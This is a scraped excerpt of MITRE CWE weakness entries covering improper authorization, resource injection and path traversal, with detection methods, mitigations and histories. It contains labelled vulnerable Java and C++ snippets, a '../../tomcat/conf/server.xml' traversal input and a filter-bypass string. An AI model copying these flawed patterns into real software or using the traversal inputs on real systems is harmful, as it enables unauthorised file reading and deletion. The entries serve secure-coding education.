Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 721 OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 753 2009 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 817 OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 935 OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 945 SFP Secondary Cluster: Insecure Resource Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-285 is high-level and lower-level CWEs can frequently be used instead. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Look at CWE-285's children and consider mapping to CWEs such as CWE-862: Missing Authorization, CWE-863: Incorrect Authorization, CWE-732: Incorrect Permission Assignment for Critical Resource, or others.
Suggestions:
CWE-ID Comment
CWE-862 Missing Authorization
CWE-863 Incorrect Authorization
CWE-732 Incorrect Permission Assignment for Critical Resource
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Missing Access Control
OWASP Top Ten 2007 A10 CWE More Specific Failure to Restrict URL Access
OWASP Top Ten 2004 A2 CWE More Specific Broken Access Control
Software Fault Patterns SFP35 Insecure resource access
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Type
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Description
2011-03-24 CWE Content Team MITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29 CWE Content Team MITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Missing or Inconsistent Access Control
2011-03-29 Improper Access Control (Authorization)

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID: 99
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
+ Extended Description

A resource injection issue occurs when the following two conditions are met:

  1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
  2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

+ Alternate Terms
Insecure Direct Object Reference:
OWASP uses this term, although it is effectively the same as resource injection.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data; Read Files or Directories; Modify Files or Directories

An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 641 Improper Restriction of Names for Files and Other Resources
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 694 Use of Multiple Resources with Duplicate Identifier
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 914 Improper Control of Dynamically-Identified Variables
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 706 Use of Incorrectly-Resolved Name or Reference
CanAlsoBe Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

(bad code)
Example Language: C++ 
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.


+ Observed Examples
Reference Description
chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 932 OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1005 7PK - Input Validation and Representation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1347 OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1409 Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Resource Injection
Software Fault Patterns SFP24 Tainted input to command
OMG ASCSM ASCSM-CWE-99
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-99. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-01 KDM Analytics
added/updated white box definitions
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27 CWE Content Team MITRE
updated Description, Name
2009-07-17 KDM Analytics
Improved the White_Box_Definition
2009-07-27 CWE Content Team MITRE
updated White_Box_Definitions
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Other_Notes
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Alternate_Terms, Description, Relationship_Notes, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Other_Notes, Potential_Mitigations, References, Relationships, Type
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Resource Injection
2009-05-27 Insufficient Control of Resource Identifiers (aka 'Resource Injection')

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Diagram for CWE-22
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of protection mechanisms such as authentication, it has the potential to lock out product users.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

